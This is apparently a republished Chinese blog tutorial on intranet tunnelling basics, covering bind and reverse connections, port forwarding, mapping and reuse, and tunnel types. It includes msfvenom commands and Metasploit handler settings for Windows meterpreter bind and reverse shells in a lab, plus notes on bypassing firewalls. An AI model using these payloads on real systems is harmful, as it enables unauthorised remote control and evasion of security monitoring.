当前位置: 首页 > news >正文

内网隧道——隧道技术基础

文章目录

  • 一、正向连接与反向连接
    • 1.1 正向连接
    • 1.2 反向连接
  • 二、端口转发
  • 三、端口映射
  • 四、端口复用
  • 五、代理和隧道的区别
  • 六、常见隧道穿透分类

环境:
kali:192.168.92.6,MSF v6.3.25
win7:192.168.92.7

一、正向连接与反向连接

1.1 正向连接

正向连接就是受控端主机监听一个端口,由控制端主机主动去连接受控端主机的过程,适用于受控端主机具有公网IP的情况。简单来说,就是被攻击的机器监听一个端口,攻击机主动去连接被攻击机监听的端口。
在这里插入图片描述
使用MSF生成一个win7的正向木马:

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -f exe -o bind_shell.exe

在这里插入图片描述
MSF首先设置监听器,再在受害机上运行bind_shell.exe,成功连接正向shell。

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 8888 # 设置受害机的监听端口
set rhost 192.168.92.7 # 设置受害机的ip地址
run

在这里插入图片描述

1.2 反向连接

反向连接指的是攻击机监听一个端口,被攻击机反向连接攻击机的过程。
在这里插入图片描述
使用MSF生成一个win7的反向木马:

msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=8888 -f exe -o bind_shell.exe

MSF首先设置监听器,再在受害机上运行reverse_shell.exe,成功连接反弹shell。

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lport 8888 # 设置攻击机的监听端口
set lhost 192.168.92.6 # 设置攻击机的ip地址
run

在这里插入图片描述

二、端口转发

端口转发是网络地址转换(NAT)的一种应用。通过端口转发,一个网络端口上收到的数据可以被转发到另一个网络端口。转发的端口可以是本机的端口,也可以是其他主机的端口。

三、端口映射

端口映射也是网络地址转换(NAT)的一种应用,用于把公网的地址翻译成私有地址。端口映射可以将外网主机收到的请求映射到内网主机上,使得没有公网IP的内网地址能够对外提供相应的服务。

四、端口复用

端口复用指的是在目标主机某个占用服务的端口上建立了多个通讯连接,而不是指在一个端口上开放了多个服务,端口服务和通讯连接可以同时存在互不干扰。
例如,在服务器上的80端口开放了Apache服务,如果继续在80端口上再指定添加某项服务,它就会有两种可能,添加服务失败或Apache服务出错,而使用端口复用的方法可通过80端口建立通讯连接绕过防火墙限制,因为防火墙两端的数据包封装在它所允许的数据包类型或是端口上,然后穿过防火墙与处在防火墙后面的主机进行通讯,当封装的数据包到达目的地时,再将数据包还原,并将还原后的数据包交送到相应的服务上。

五、代理和隧道的区别

  • 代理:是指一种特殊的网络服务,它允许一个网络终端通过代理服务与另一个网络终端进行非直接的连接,它扮演了位于服务器和客户端的“中间人”,攻击者可以通过受控主机设置代理服务,去访问目标内网中其他主机的服务。
  • 隧道:主要就是为了解决数据包无法传输,隧道技术一般用来绕过一些安全设备的监控,例如防火墙过滤,网络连接通讯,数据回链封装等,如果安全防护设备对我们发送的流量进行拦截,我们就可以使用隧道技术来绕过拦截,隧道技术就是使用不同的协议技术来建立通讯连接。

六、常见隧道穿透分类

从计算机OSI 七层模型来讲隧道穿透技术主要应用在应用层,传输层,网络层这三层,每一层常见的隧道利用方式及隧道类型如下表:

隧道方式隧道类型
应用层隧道SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
传输层隧道TCP隧道、UDP隧道、常规端口转发
网络层隧道IPv6隧道、ICMP隧道、GRE隧道

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Qt Creator:C++与Python混合编程
  • (21)起落架/可伸缩相机支架
  • C语言:进程间通信
  • Linux(openwrt)下iptables+tc工具实现网络流量限速控制(QoS)
  • 基于面向对象和递归的拦截器设计模式
  • 1.24、定义浅层神经网络架构和算法(matlab)
  • Android11 framework 禁止三方应用开机自启动
  • 正则表达式在Python中的高级应用:从HTML中提取数据
  • c++应用网络编程之四Linux常用的网络IO模型
  • WPF之URI的使用
  • Linux 各目录
  • MySQL-显示所有错误信息
  • Linux——Shell脚本和Nginx反向代理服务器
  • MCU常见相关术语缩写说明
  • pnpm build打包时占内溢出
  • [iOS]Core Data浅析一 -- 启用Core Data
  • 【刷算法】从上往下打印二叉树
  • 002-读书笔记-JavaScript高级程序设计 在HTML中使用JavaScript
  • Elasticsearch 参考指南(升级前重新索引)
  • ES6 ...操作符
  • Go 语言编译器的 //go: 详解
  • Python进阶细节
  • Swift 中的尾递归和蹦床
  • UEditor初始化失败(实例已存在,但视图未渲染出来,单页化)
  • Vue 动态创建 component
  • vue2.0项目引入element-ui
  • 一个SAP顾问在美国的这些年
  • 一天一个设计模式之JS实现——适配器模式
  • 主流的CSS水平和垂直居中技术大全
  • elasticsearch-head插件安装
  • 阿里云ACE认证之理解CDN技术
  • ​软考-高级-信息系统项目管理师教程 第四版【第23章-组织通用管理-思维导图】​
  • ## 临床数据 两两比较 加显著性boxplot加显著性
  • (2)空速传感器
  • (23)Linux的软硬连接
  • (4)事件处理——(6)给.ready()回调函数传递一个参数(Passing an argument to the .ready() callback)...
  • (Java)【深基9.例1】选举学生会
  • (安全基本功)磁盘MBR,分区表,活动分区,引导扇区。。。详解与区别
  • (九十四)函数和二维数组
  • (推荐)叮当——中文语音对话机器人
  • (原創) 如何優化ThinkPad X61開機速度? (NB) (ThinkPad) (X61) (OS) (Windows)
  • (转)setTimeout 和 setInterval 的区别
  • (转)程序员技术练级攻略
  • (转载)PyTorch代码规范最佳实践和样式指南
  • ***原理与防范
  • ..回顾17,展望18
  • .360、.halo勒索病毒的最新威胁:如何恢复您的数据?
  • .Mobi域名介绍
  • .NET Framework、.NET Core 、 .NET 5、.NET 6和.NET 7 和.NET8 简介及区别
  • .Net Web项目创建比较不错的参考文章
  • .NET中的Exception处理(C#)
  • .NET中统一的存储过程调用方法(收藏)
  • .sh
  • :如何用SQL脚本保存存储过程返回的结果集
  • ??myeclipse+tomcat